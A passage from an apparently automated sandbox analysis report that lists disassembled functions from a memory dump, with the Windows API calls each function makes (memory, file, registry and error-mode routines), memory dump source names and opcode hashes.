                                                                                                                                                                                                                                  • GetModuleHandleW.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(kernelbase.dll), ref: 00D338FB
                                                                                                                                                                                                                                  • GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(00000000,RaiseFailFastException), ref: 00D33907
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: AddressHandleModuleProc
                                                                                                                                                                                                                                  • String ID: RaiseFailFastException$kernelbase.dll
                                                                                                                                                                                                                                  • API String ID: 1646373207-919018592
                                                                                                                                                                                                                                  • Opcode ID: 7c4c3a2093b858ac9281a8b2130008ccfa796c1df2f37f22ac57710dc882e8e7
                                                                                                                                                                                                                                  • Instruction ID: e8c86348ed2c16d52b55b04cddbc5fa73163f12d5e139d926dbced4cb41a46ed
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 7c4c3a2093b858ac9281a8b2130008ccfa796c1df2f37f22ac57710dc882e8e7
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 1DE0EC72540729BBCB211FA9ED0DC8ABF19EB447A2B054121FE19D22608E768950DBB1
                                                                                                                                                                                                                                  Function 00D252F5 Relevance: 6.2, APIs: 4, Instructions: 185COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • memset.MSVCRT ref: 00D2539E
                                                                                                                                                                                                                                    • Part of subcall function 00D1E3F0: memset.MSVCRT ref: 00D1E455
                                                                                                                                                                                                                                  • ??_V@YAXPAX@Z.MSVCRT(?,00007FE9), ref: 00D254C6
                                                                                                                                                                                                                                    • Part of subcall function 00D18E9E: GetCurrentDirectoryW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,00D58BF0,00000000,?), ref: 00D18EC3
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: memset$CurrentDirectory
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 168429351-0
                                                                                                                                                                                                                                  • Opcode ID: ca14e2584cdf594d25a4291e768fdbd36611bf75048844a80fab8c6893f0abaa
                                                                                                                                                                                                                                  • Instruction ID: 9c454b98038b6aaa56321b3836564a0878e278b02305e4befec0974c8732bd62
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: ca14e2584cdf594d25a4291e768fdbd36611bf75048844a80fab8c6893f0abaa
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: EB6156716087129FD328DF28E885A6BF7E5FB98304F14492EF999C7250DB70D845CB62
                                                                                                                                                                                                                                  Function 00D1AA75 Relevance: 6.2, APIs: 4, Instructions: 182COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: _wcsnicmp$wcschr
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 3270668897-0
                                                                                                                                                                                                                                  • Opcode ID: 1d7fe35f6272dc9afc25e41dde1d00b8ee12a7a2e33b10c50bdc63ce5db6fc6c
                                                                                                                                                                                                                                  • Instruction ID: dc62a11940f2465243623ee7aa60375aa76d7ae58f9a2fb7878bd33e34e4ebd2
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 1d7fe35f6272dc9afc25e41dde1d00b8ee12a7a2e33b10c50bdc63ce5db6fc6c
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 1F512C35604365ABDB25EBACB811ABD7365EF94708F1C4419E88397281EE714E82D3B1
                                                                                                                                                                                                                                  Function 00D1DED0 Relevance: 6.2, APIs: 4, Instructions: 162COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: iswdigit
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 3849470556-0
                                                                                                                                                                                                                                  • Opcode ID: e2c9e117b7a20f17af74682819625214bcdc6f7b233497e0ee13ab2463288c75
                                                                                                                                                                                                                                  • Instruction ID: 3484cd0fe240ddd92857d4ca4c8dd52c0325df474628c69dfe6fb81bb63f4e00
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: e2c9e117b7a20f17af74682819625214bcdc6f7b233497e0ee13ab2463288c75
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 6151D374904314ABCB149F59E8446B977B2EF84305F2841AAEC0287391EF71DEC2DBB1
                                                                                                                                                                                                                                  Function 00D21CD5 Relevance: 6.1, APIs: 4, Instructions: 118COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • SetErrorMode.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000000,00000000,?,00000000,00000000,?,?,?,00D180F4,00000000,00000000,-00000001,00000000,?,00000000), ref: 00D21D3A
                                                                                                                                                                                                                                  • SetErrorMode.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000001,?,00D180F4,00000000,00000000,-00000001,00000000,?,00000000), ref: 00D21D44
                                                                                                                                                                                                                                  • GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0(00000000,-00000001,?,00000000,?,00D180F4,00000000,00000000,-00000001,00000000,?,00000000), ref: 00D21D57
                                                                                                                                                                                                                                  • SetErrorMode.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000000,?,00D180F4,00000000,00000000,-00000001,00000000,?,00000000), ref: 00D21D61
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: ErrorMode$FullNamePath
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 268959451-0
                                                                                                                                                                                                                                  • Opcode ID: 12d2f724146d5246f6a6bae3c1af2c1b095f83c1a0d2442ccc73c5493bf4b927
                                                                                                                                                                                                                                  • Instruction ID: 4ddb22b8438d171f32584cd759532b969641a7f615ad00075b22f7108b901a20
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 12d2f724146d5246f6a6bae3c1af2c1b095f83c1a0d2442ccc73c5493bf4b927
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 1C313A3D100211EBCB28DF68D855A7BB7B5EF643087288A2DEA06C7254E771AE42C770
                                                                                                                                                                                                                                  Function 00D1C570 Relevance: 6.1, APIs: 4, Instructions: 101memoryCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,00000000,00000000,00000000,00000000,00000000), ref: 00D1C5BD
                                                                                                                                                                                                                                  • RtlFreeHeap.NTDLL ref: 00D1C5C4
                                                                                                                                                                                                                                  • _setjmp3.MSVCRT ref: 00D1C630
                                                                                                                                                                                                                                  • VirtualFree.API-MS-WIN-CORE-MEMORY-L1-1-0(?,00000000,00008000,00000000,00000000,00000000,00000000,00000000), ref: 00D1C69D
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: FreeHeap$ProcessVirtual_setjmp3
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 2613391085-0
                                                                                                                                                                                                                                  • Opcode ID: 45e94a3038588f863baa0da11ed3e4834bee0ac47fdfe16f55df04ae8b9e2165
                                                                                                                                                                                                                                  • Instruction ID: 95f57e22468424a6db57b0eecd581ec9868ff8918d3f8d69019cd9d5a58f5d7e
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 45e94a3038588f863baa0da11ed3e4834bee0ac47fdfe16f55df04ae8b9e2165
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 20315074B54310ABEB10DF68F844BA977B5FB46705F14502AE80AC7364EB75D8848BB2
                                                                                                                                                                                                                                  Function 00D363F3 Relevance: 6.1, APIs: 4, Instructions: 86COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • longjmp.MSVCRT(00D50A30,00000001,?,?,00D2BFD6,?,?,?,?,?,?,?,?), ref: 00D364D4
                                                                                                                                                                                                                                    • Part of subcall function 00D1DCD0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000008,?,?,00D1ACD8,00000001,?,00000000,00D18C23,-00000105,00D3C9B0,00000240,00D21E92,00000000,00000000,00D2ACE0,00000000), ref: 00D1DCE1
                                                                                                                                                                                                                                    • Part of subcall function 00D1DCD0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,00D1ACD8,00000001,?,00000000,00D18C23,-00000105,00D3C9B0,00000240,00D21E92,00000000,00000000,00D2ACE0,00000000,00000000), ref: 00D1DCE8
                                                                                                                                                                                                                                    • Part of subcall function 00D272EF: ApiSetQueryApiSetPresence.API-MS-WIN-CORE-APIQUERY-L1-1-0(00D11028,?,?,?,00D2F12E,00D3CA50,00000018,00D21E7C,00000000,00000000,00D2ACE0,00000000,00000000,?,00000104,?), ref: 00D27314
                                                                                                                                                                                                                                  • MultiByteToWideChar.API-MS-WIN-CORE-STRING-L1-1-0(?,00000000,00000000,000000FF,00000000,00000000,?,?,00D2BFD6), ref: 00D3646C
                                                                                                                                                                                                                                  • SetErrorMode.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000001,?,00000000,00000000,000000FF,00000000,00000000,?,?,00D2BFD6), ref: 00D36474
                                                                                                                                                                                                                                  • SetErrorMode.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000000,?,00000000,00000000,000000FF,00000000,00000000,?,?,00D2BFD6), ref: 00D364B6
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: ErrorHeapMode$AllocByteCharMultiPresenceProcessQueryWidelongjmp
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 129137517-0
                                                                                                                                                                                                                                  • Opcode ID: 9227b98c0b968f1c3fee82f92937b0b15a386b76c6a7909422eeba9e86202f97
                                                                                                                                                                                                                                  • Instruction ID: c281889e249dfd303b5a7130b76f624853d7fa73580def7630c9ed9b984928e9
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 9227b98c0b968f1c3fee82f92937b0b15a386b76c6a7909422eeba9e86202f97
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: EB2126316003117B8B24AFB89C958BF375ADF85355B088618FD06C7385EEB4DC45C2B1
                                                                                                                                                                                                                                  Function 00D362B3 Relevance: 6.1, APIs: 4, Instructions: 81registryCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • RegOpenKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,00000000,00000001,?,00D3CD20,0000001C,00D358DF), ref: 00D362E6
                                                                                                                                                                                                                                  • RegQueryValueExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,00000000,00000000,?,00000000,?,00D3CD20,0000001C,00D358DF), ref: 00D36301
                                                                                                                                                                                                                                  • RegQueryValueExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,00000000,00000000,?,00000000,?), ref: 00D36340
                                                                                                                                                                                                                                  • SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000000), ref: 00D3635D
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: QueryValue$ErrorLastOpen
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 4270309053-0
                                                                                                                                                                                                                                  • Opcode ID: 61c755bb1acf273d95229754338bc9f3f0e74aea66ee20439e31b942dc545063
                                                                                                                                                                                                                                  • Instruction ID: 47fef030e58c1a2a9990fd4ecf163c42fbf20ab932144790118586d7800ffb2a
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 61c755bb1acf273d95229754338bc9f3f0e74aea66ee20439e31b942dc545063
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 0721FCB2D00329AFDB109F999C819FEB6BDEB49750F18812AE901F7240DB71DD408BB5
                                                                                                                                                                                                                                  Function 00D39FF8 Relevance: 6.1, APIs: 4, Instructions: 81COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • memset.MSVCRT ref: 00D3A034
                                                                                                                                                                                                                                    • Part of subcall function 00D1E3F0: memset.MSVCRT ref: 00D1E455
                                                                                                                                                                                                                                  • GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0(00450052,-00000209,00000000,?,-00000209,0020005D,00D1234C,0020005D), ref: 00D3A078
                                                                                                                                                                                                                                  • GetDriveTypeW.API-MS-WIN-CORE-FILE-L1-1-0(00000000), ref: 00D3A0AA
                                                                                                                                                                                                                                  • ??_V@YAXPAX@Z.MSVCRT(00000000,-00000209,0020005D,00D1234C,0020005D), ref: 00D3A0C2
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: memset$DriveFullNamePathType
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 3442494845-0
                                                                                                                                                                                                                                  • Opcode ID: 4f4366fa03113ea90815b97193d109e05ead6563b3633a1709627fc5438da50a
                                                                                                                                                                                                                                  • Instruction ID: b7a7a2d5e9d6cd58fdc13a4615383b79a942f066babc3686ed9c266510aeed58
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 4f4366fa03113ea90815b97193d109e05ead6563b3633a1709627fc5438da50a
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: D1216771B0021A5BDB24DFADDD899AFBBF8EF48304F0400AAA545D3241D674DE448A72
                                                                                                                                                                                                                                  Function 00D22960 Relevance: 6.1, APIs: 4, Instructions: 76stringCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • wcstol.MSVCRT ref: 00D22977
                                                                                                                                                                                                                                  • wcstol.MSVCRT ref: 00D22987
                                                                                                                                                                                                                                  • lstrcmpW.API-MS-WIN-CORE-STRING-OBSOLETE-L1-1-0(?,?,?,00D1E559,?,?,00000000,?), ref: 00D229FF
                                                                                                                                                                                                                                  • lstrcmpiW.API-MS-WIN-CORE-STRING-OBSOLETE-L1-1-0(?,?,?,00D1E559,?,?,00000000,?), ref: 00D22A09
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: wcstol$lstrcmplstrcmpi
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 4273384694-0
                                                                                                                                                                                                                                  • Opcode ID: db5daea7015c3cd0920b98e5812d38d335efea28c62a2d22a2178d7f1078860d
                                                                                                                                                                                                                                  • Instruction ID: f66b247f3213889aadd6ed21d3ff90208309c599064d94ea480cd081b70939db
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: db5daea7015c3cd0920b98e5812d38d335efea28c62a2d22a2178d7f1078860d
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 08110632840236BB87215B78A90997ABA68FF24358F190210F801DBA10D765EE90EEF4
                                                                                                                                                                                                                                  Function 00D3C535 Relevance: 6.1, APIs: 4, Instructions: 71COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • memset.MSVCRT ref: 00D3C56B
                                                                                                                                                                                                                                    • Part of subcall function 00D1E3F0: memset.MSVCRT ref: 00D1E455
                                                                                                                                                                                                                                  • GetVolumePathNameW.API-MS-WIN-CORE-FILE-L1-1-0(00000000,00000000,00000001,-00000001,00000001,00000000,00000000), ref: 00D3C5A5
                                                                                                                                                                                                                                  • GetDriveTypeW.API-MS-WIN-CORE-FILE-L1-1-0(00000000), ref: 00D3C5BD
                                                                                                                                                                                                                                  • ??_V@YAXPAX@Z.MSVCRT(00000000,-00000001,00000001,00000000,00000000), ref: 00D3C5DA
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: memset$DriveNamePathTypeVolume
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 1029679093-0
                                                                                                                                                                                                                                  • Opcode ID: f1caa01e0ff0740a7fa09b27142a78a01b9214eae945ad319841effcd5207874
                                                                                                                                                                                                                                  • Instruction ID: c7dfb57f0e14352b6d050ff80bdbd766bfae09e8aaaddea41182d1a0b1da7f84
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: f1caa01e0ff0740a7fa09b27142a78a01b9214eae945ad319841effcd5207874
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 0A217532A102196BDB10DBE9DC85BAFBBFCEF44744F080469A505E3141D674EE44CB71
                                                                                                                                                                                                                                  Function 00D24C40 Relevance: 6.1, APIs: 4, Instructions: 68COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID:
                                                                                                                                                                                                                                  • Opcode ID: 749d4f423e4528ac0c042c8b3018bef6dd1bd6164beb1af2ecac7b41b6fc4d18
                                                                                                                                                                                                                                  • Instruction ID: 620e65fa787437b14ea8a0b8021614101805cfe1d14038fe89992681e29b0908
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 749d4f423e4528ac0c042c8b3018bef6dd1bd6164beb1af2ecac7b41b6fc4d18
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 8F110431201714ABDB189B68ACA9FAEBA1DEF81328F184119FC12C22D0DB70DD01D7B2
                                                                                                                                                                                                                                  Function 00D39809 Relevance: 6.1, APIs: 4, Instructions: 65fileCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • _get_osfhandle.MSVCRT ref: 00D39822
                                                                                                                                                                                                                                  • WriteFile.API-MS-WIN-CORE-FILE-L1-1-0(00000000,00D392EA,?,?,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 00D3982A
                                                                                                                                                                                                                                  • GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00D39841
                                                                                                                                                                                                                                  • DeleteFileW.API-MS-WIN-CORE-FILE-L1-1-0(?), ref: 00D3986E
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
